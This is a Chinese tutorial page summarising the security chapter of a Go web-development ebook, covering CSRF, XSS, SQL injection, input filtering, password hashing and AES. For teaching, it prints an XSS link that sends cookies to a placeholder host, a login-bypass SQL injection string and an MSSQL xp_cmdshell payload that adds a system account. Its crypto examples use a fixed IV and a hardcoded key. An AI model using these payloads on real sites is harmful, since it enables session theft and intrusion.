ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

Go Web 应用安全与加密实战总结:build-web-application-with-golang 第 9 章要点全览

Go Web 应用安全与加密实战总结:build-web-application-with-golang 第 9 章要点全览 文档教程【免费下载链接】build-web-application-with-golangA golang ebook intro how to build a web with golang项目地址https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang点击查看免费下载本文是对开源项目 build-web-application-with-golang《Build Web Application with Golang》德语分册第 9 章“安全与加密”的完整要点总结。整章围绕 CSRF、XSS、SQL 注入三大攻击面以及输入过滤、密码存储、对称加解密三层防护手段展开本章结尾的 09.7 Summary 明确指出绝大多数 Web 应用漏洞都源于对输入过滤的缺失与盲目信任。读完本文你将掌握在 Go 中识别三类典型攻击、用标准库与扩展包过滤输入、安全存储密码以及用 AES/DES 加解密敏感数据的完整实战方案。本章主线三大攻击面与三层防御体系第 9 章开篇 09.0 Security and encryption 就点明了全章逻辑现代 Web 应用的大量安全问题源于第三方数据尤其是用户输入未经验证就被使用。据此全章按“问题 → 防御”双线推进识别威胁CSRF跨站请求伪造09.1、XSS跨站脚本攻击09.3、SQL 注入09.4三大攻击类型输入过滤从源头验证数据合法性杜绝恶意数据入库09.2密码安全从单向哈希到加盐、再到 scrypt 的专业存储方案09.5数据加解密用 AES/DES 对称加密算法保护需要可逆恢复的敏感数据09.6。本小结 09.7 Summary 的结论是Go 语言自带一套庞大且设计良好的反攻击工具包每一位 Go 开发者都应充分利用这些包来加固自己的 Web 应用。下面逐一展开。一、CSRF 跨站请求伪造原理与防御CSRFCross-site request forgery亦称 XSRF、one click attack 或 session riding是 09.1 节讲解的第一类攻击。攻击者诱导已登录的“受信任用户”点击恶意链接或访问恶意网站从而向目标站点发出未经用户授权的请求。攻击成立需要受害者完成两步先登录受信任站点 A 并保存本地 Cookie再在未退出站点 A 的情况下访问危险链接站点 B。攻击过程参见图 9.1。由于用户无法保证“登录的站点不会悄悄打开隐藏标签页”“关闭浏览器后 Cookie 立即失效、会话立即结束”CSRF 的威胁难以靠用户行为规避。其根本成因在于浏览器能证明请求来自用户的浏览器却无法证明请求是用户本人批准的。防御思路一严格区分 GET 与 POST 语义服务端防御最有效的两条原则是GET 仅用于查看信息不改变任何数据POST 用于下单、修改资源属性等写操作。用 Go 路由约束资源方法即可拦截“GET 型 CSRF”示例mux.Get(/user/:uid, getuser) mux.Post(/user/:uid, modifyuser)但仅靠方法约束并不充分因为POST 同样可以被伪造因此还需要第二步。防御思路二非 GET 请求携带伪随机令牌token给每个用户生成一个带伪随机值的唯一 Cookie token并要求所有表单包含同样的伪随机值。由于攻击者理论上无法读取第三方 Cookie其伪造的表单必然校验失败。生成、输出与校验 token 的核心代码如下// 生成随机数 token h : md5.New() io.WriteString(h, strconv.FormatInt(crutime, 10)) io.WriteString(h, ganraomaxxxxxxxxx) token : fmt.Sprintf(%x, h.Sum(nil)) t, _ : template.ParseFiles(login.gtpl) t.Execute(w, token)模板中输出隐藏字段input typehidden nametoken value{{.}}服务端校验 tokenr.ParseForm() token : r.Form.Get(token) if token ! { // 校验 token 的合法性 } else { // 错误token 不存在 }章节指出攻击者要通过暴力破解猜出正确的 token 字符串计算量几乎不可行因此该方案能够有效防护 POST 型 CSRF。仓库源码印证ch.4.4 的 nonce 令牌实现本项目 de/code/src/apps/ch.4.4/ 提供了“防止重复提交”的完整可运行实现其令牌生成逻辑与本章防御思路一致。核心位于 nonce/main.gofunc createToken() string { h : md5.New() now : time.Now().Unix() io.WriteString(h, strconv.FormatInt(now, 10)) io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) return fmt.Sprintf(%x, h.Sum(nil)) }它用“时间戳 随机数”经 MD5 生成一次性令牌并通过Nonces维护已使用令牌的 maphashs map[string]boolCheckThenMarkToken在校验通过后立即标记防止同一 token 被重复利用。路由处理见 ch.4.4/main.gor.ParseForm()后取出token交由submissions.CheckThenMarkToken(token)校验失败则返回错误、成功则继续验证表单其余字段。运行方式为go run main.go后访问http://localhost:9090。二、XSS 跨站脚本攻击存储型与反射型XSSCross-Site Scripting是 09.3 节的核心主题。与多数“攻击者对受害者”的攻击不同XSS 涉及攻击者、客户端、Web 应用三方目的是窃取客户端上由 Web 应用写入的 Cookie进而冒充用户操作。两种形态与危害存储型 XSS用户可在公开页面评论、留言板、博客等输入内容服务端未转义即入库其他用户浏览时脚本被执行反射型 XSS恶意脚本直接嵌入 URL 查询参数服务端把该参数未净化地渲染进结果页用户点击伪装链接即触发。XSS 的主要危害包括窃取 Cookie 与敏感信息借 Flash/Java/VBScript 的 crossdomain 权限提升用户权限通过 iframe、XMLHttpRequest 等以用户身份执行发私信、加好友等管理操作大量用户访问被注入页面时小站点可能遭受近似 DDoS 的冲击。攻击演示某站点按 URL 查询参数输出用户名访问http://127.0.0.1/?nameastaxie输出hello astaxie。若改为http://127.0.0.1/?namescriptalert(astaxie,xss)/script并触发弹窗即证明站点存在 XSS 漏洞。更危险的是把恶意脚本编码进 URLhttp://127.0.0.1/?name#60;script#62;document.location.hrefhttp://www.xxx.com/cookie?document.cookie#60;/script#62;受害者点击该链接后浏览器会把当前 Cookie 发送到www.xxx.com。攻击者常借助短链服务隐藏 URL 的可疑特征。防御手段过滤特殊字符Go 的text/template包提供HTMLEscapeString、JSEscapeString等 HTML 过滤函数显式指定 HTTP 响应 Content-Typew.Header().Set(Content-Type, text/javascript)这能引导浏览器按既定类型解析响应避免以不确定的危险方式渲染内容。仓库源码印证ch.4.3 的转义对比实验项目 de/code/src/apps/ch.4.3/main.go 用同一个模板在“转义/不转义”两条路径下展示了 XSS 的成因与防护template.HTMLEscapeString(userInput)显式转义用户输入后再渲染template.HTML(userInput)把输入强制标记为template.HTML类型Execute()时不做转义直接渲染原始 HTML——这正是产生 XSS 的写法html/template.Execute()标准库的html/template包在输出时会自动转义上下文相关字符text/template.Execute()text/template包则不做任何转义。该示例以/与/template两个路由对比四种场景直接印证了 09.3 节“永远不要信任用户输入、输出前必须转义”的结论。三、SQL 注入攻击示例与六条防御建议SQL 注入是 Web 开发中最常见的脚本注入类漏洞09.4 节。它源于应用未有效过滤用户输入使攻击者得以提交恶意 SQL 片段、改变原查询逻辑进而获取数据库敏感信息、添加数据库用户甚至拿到系统最高权限。攻击示例一个典型登录表单处理逻辑username : r.Form.Get(username) password : r.Form.Get(password) sql : SELECT * FROM user WHERE username username AND password password 若用户输入myuser or foo foo --SQL 变为SELECT * FROM user WHERE usernamemyuser or foo foo -- AND passwordxxx由于 SQL 中--之后是注释条件恒真攻击者无需密码即可登录。更极端的 MSSQL 示例中把a% exec master..xp_cmdshell net user test testpass /ADD --注入prod变量若服务权限足够攻击者能直接在系统上注册账号。六条防御建议严格限制数据库操作权限只给用户完成任务所需的最小权限集校验输入数据格式用regexp匹配或strconv把字符串转换为基本类型后再评估转义特殊字符 \ * ;等Go 的text/template.HTMLEscapeString可返回转义后的 HTML使用参数化查询接口用database/sql的Prepare预编译语句再以Query或Exec(query string, args ...interface{})传参执行杜绝字符串拼接上线前用专业工具检测如 sqlmap、SQLninja 等开源漏洞扫描工具不在公开页面打印 SQL 错误信息类型错误、字段不匹配等报错都可能成为攻击者的情报来源。四、输入过滤识别、清洗与白名单09.2 节强调绝大多数 Web 漏洞源于“不过滤输入、盲目信任数据”。过滤工作分三步识别数据来源哪些是用户输入、哪些被客户端操纵、过滤数据本身确认收到数据的类型与合法性、区分已过滤与污染数据保证过滤流程的完整性。识别数据Go 中用户在 POST 表单后通过r.ParseForm()即可取得r.Form中的全部数据而r.Header中的很多元素如r.Header.Get(Accept-Charset)常被客户端操纵应一律视为污染数据。过滤工具strconv把字符串转换为特定类型常用Atoi、ParseBool、ParseFloat、ParseIntstrings提供Trim、ToLower、ToTitle等格式化函数regexp处理邮箱、生日等复杂格式校验。过滤时不要试图“纠正”非法数据——历史证明纠正非法数据如“密码不足 6 位就补 0”会制造新的安全漏洞。白名单whitelisting是最稳妥的方案校验失败只可能是数据非法绝不反向放行。CleanMap 白名单示例针对一个只有astaxie、herry、marry三个合法值的下拉表单即使攻击者直接 POSTnameattack白名单也能拦截r.ParseForm() name : r.Form.Get(name) CleanMap : make(map[string]interface{}, 0) if name astaxie || name herry || name marry { CleanMap[name] name }用regexp校验“用户名只能由字母和数字组成”的写法r.ParseForm() username : r.Form.Get(username) CleanMap : make(map[string]interface{}, 0) if ok, _ : regexp.MatchString(^[a-zA-Z0-9].$, username); ok { CleanMap[username] username }为防注入污染需保证每次请求把CleanMap初始化为空 map禁止外部数据源引入名为CleanMap的变量。仓库中 de/code/src/apps/ch.4.2/validator/main.go 展示了表单校验的完整可运行实现可对照阅读。五、密码存储单向哈希 → 加盐 → scrypt09.5 节以 Linkedin、CSDN 等著名密码泄露事件为背景给出三档递进的密码存储方案。基础方案单向哈希适用于安全要求宽松的应用单向哈希不可逆常用算法有 SHA-256、SHA-1、MD5。Go 用法// import crypto/sha256 h : sha256.New() io.WriteString(h, His money is twice tainted: taint yours and taint mine.) fmt.Printf(% x, h.Sum(nil)) // import crypto/sha1 h : sha1.New() io.WriteString(h, His money is twice tainted: taint yours and taint mine.) fmt.Printf(% x, h.Sum(nil)) // import crypto/md5 h : md5.New() io.WriteString(h, 需要加密的密码) fmt.Printf(%x, h.Sum(nil))单向哈希有两个关键特性同一密码摘要唯一确定计算速度快现代硬件每秒可完成数十亿次哈希。二者叠加意味着攻击者拿到数据库后可用预计算的常用密码哈希表彩虹表 rainbow table反查原文因此单纯单向哈希并不安全。进阶方案加盐salting把服务端生成的随机字符串拼接到用户密码后再送入单向哈希函数随机串中可混入用户名保证每个用户拥有唯一的加密密钥// import crypto/md5 // 假设用户名 abc密码 123456 h : md5.New() io.WriteString(h, password need to be encrypted) pwmd5 : fmt.Sprintf(%x, h.Sum(nil)) // 指定两个盐salt1 #$% salt2 ^*() salt1 : #$% salt2 : ^*() // 拼接 salt1 username salt2 MD5 io.WriteString(h, salt1) io.WriteString(h, abc) io.WriteString(h, salt2) io.WriteString(h, pwmd5) last : fmt.Sprintf(%x, h.Sum(nil))只要盐串未泄露攻击者即便拿到密文也几乎无法反推原文。专业方案scrypt计算强度可调的慢哈希并行计算能力的普及使彩虹表攻击越来越可行因此专业方案刻意提高单次哈希的计算代价使大规模预计算变得不可行。Go 推荐使用scrypt包源自 Colin Percival 的 Tarsnap 项目例如为 AES-256 派生密钥dk : scrypt.Key([]byte(some password), []byte(salt), 16384, 8, 1, 32)其中16384NCPU/内存成本、8r块大小、1p并行度、32输出密钥字节数共同决定了计算强度强度越高越难被暴力破解。章节给出的最终建议是普通用户用 LastPass 等工具生成并区分各站密码Go Web 开发者务必采用上述经过验证的专业方案存储用户密码。六、双向加密AES/DES 对称加解密09.6 节指出当需要修改或读取数据库中已加密的敏感数据时单向哈希不再适用应改用对称加密算法。Go 的crypto包提供两个高级模块crypto/aesAES高级加密标准又称 Rijndael美国联邦政府采用的块加密标准crypto/desDES数据加密标准曾是美国联邦标准现已被 AES 取代但仍是金融数据保护中使用最广泛的密钥体系之一。两者的使用方式高度相似以下以 AES 为例展示完整加解密流程package main import ( crypto/aes crypto/cipher fmt os ) var commonIV []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} func main() { // 需要加密的字符串 plaintext : []byte(My name is Astaxie) // 如果命令行传入待加密字符串则使用传入值 if len(os.Args) 1 { plaintext []byte(os.Args[1]) } // AES 加密密钥 key_text : astaxie12798akljzmknm.ahkjkljl;k if len(os.Args) 2 { key_text os.Args[2] } fmt.Println(len(key_text)) // 创建 AES 加密算法 c, err : aes.NewCipher([]byte(key_text)) if err ! nil { fmt.Printf(Error: NewCipher(%d bytes) %s, len(key_text), err) os.Exit(-1) } // 加密字符串 cfb : cipher.NewCFBEncrypter(c, commonIV) ciphertext : make([]byte, len(plaintext)) cfb.XORKeyStream(ciphertext, plaintext) fmt.Printf(%s%x\n, plaintext, ciphertext) // 解密字符串 cfbdec : cipher.NewCFBDecrypter(c, commonIV) plaintextCopy : make([]byte, len(plaintext)) cfbdec.XORKeyStream(plaintextCopy, ciphertext) fmt.Printf(%x%s\n, ciphertext, plaintextCopy) }关键点aes.NewCipher 与 cipher.Block 接口aes.NewCipher的[]byte密钥参数必须为 16、24 或 32 字节分别对应 AES-128、AES-192、AES-256 三种强度示例密钥astaxie12798akljzmknm.ahkjkljl;k为 32 字节即 AES-256。它返回cipher.Block接口该接口定义了三个方法type Block interface { // BlockSize 返回密码的块大小 BlockSize() int // Encrypt 将 src 中的第一个块加密到 dst // dst 和 src 可以指向同一内存 Encrypt(dst, src []byte) // Decrypt 将 src 中的第一个块解密到 dst // dst 和 src 可以指向同一内存 Decrypt(dst, src []byte) }配合cipher.NewCFBEncrypter/cipher.NewCFBDecrypter的 CFB 流模式与初始化向量IV即示例中的commonIV即可实现对称加解密。本节结论即使是安全要求一般的应用也推荐使用 AES。七、Go 安全工具箱清单与开发者行动指南综合全章Go 生态为安全加固提供了完整工具链建议按表选用安全需求推荐包 / 函数章节表单数据识别net/http的r.ParseForm()、r.Form09.2输入类型转换strconvAtoi、ParseBool、ParseFloat、ParseInt09.2输入格式化与清洗stringsTrim、ToLower、ToTitle09.2复杂格式校验 / 白名单regexpregexp.MatchString09.2HTML/JS 转义text/template的HTMLEscapeString、JSEscapeStringhtml/template自动转义09.3防 CSRF 令牌crypto/md5timemath/rand生成一次性 nonce09.1、ch.4.4 实现SQL 防注入database/sql的Prepare参数化查询09.4单向哈希crypto/sha256、crypto/sha1、crypto/md5安全要求宽松时09.5慢哈希 / 专业密码存储scryptgolang.org/x/crypto/scrypt的scrypt.Key09.5对称加解密crypto/aes、crypto/des、crypto/cipherCFB 模式09.6开发者的行动清单可以浓缩为四句话不信任任何输入先过滤再入库区分 GET 与 POST 语义并为写操作加随机令牌输出前一律转义防 XSS 于渲染之前SQL 一律参数化密码一律加盐慢哈希敏感数据用 AES 可逆加解密。正如本章 09.0 引言 与 09.7 总结 反复强调的安全不是上线后的补救而是在规划与设计阶段就要贯彻的工程纪律Go 语言提供了设计良好的反攻击工具包每位 Go 开发者都应善加利用。延伸阅读第 9 章目录与章节导航上一节加密与解密数据09.6下一章国际化和本地化10.0本章配套可运行代码de/code/src/apps/ch.4.2/、de/code/src/apps/ch.4.3/、de/code/src/apps/ch.4.4/均可用go run main.go启动并访问http://localhost:9090验证赞分享文档教程【免费下载链接】build-web-application-with-golangA golang ebook intro how to build a web with golang项目地址https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang点击查看免费下载相关推荐Build Web Application with Golang 第 6 章精读Go Web 中的 Cookie 与 Session 原理、实战与安全Build Web Application with Golang 第 6 章精读Go Web 中的 Cookie 与 Session 原理、实战与安全 本篇文档教程Go Web 应用部署与维护实战日志、错误处理、高可用部署与备份恢复《Build Web Application with Golang》第 12 章总结Go Web 应用部署与维护实战日志、错误处理、高可用部署与备份恢复《Build Web Application with Golang》第 12 章总结文档教程Go Web 服务编程全景Socket、WebSocket、REST 与 RPC 四大网络模型实战导览build-web-application-with-golang 第 8 章Go Web 服务编程全景Socket、WebSocket、REST 与 RPC 四大网络模型实战导览build web application with文档教程上一篇radix-vue 组件深度解析SelectItem 选项项的 Props、事件与源码原理下一篇基于 SIMD 指令的 Unicode 校验与转码simdutf 5.5.0 技术解析与 Fluent Bit 集成实践创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表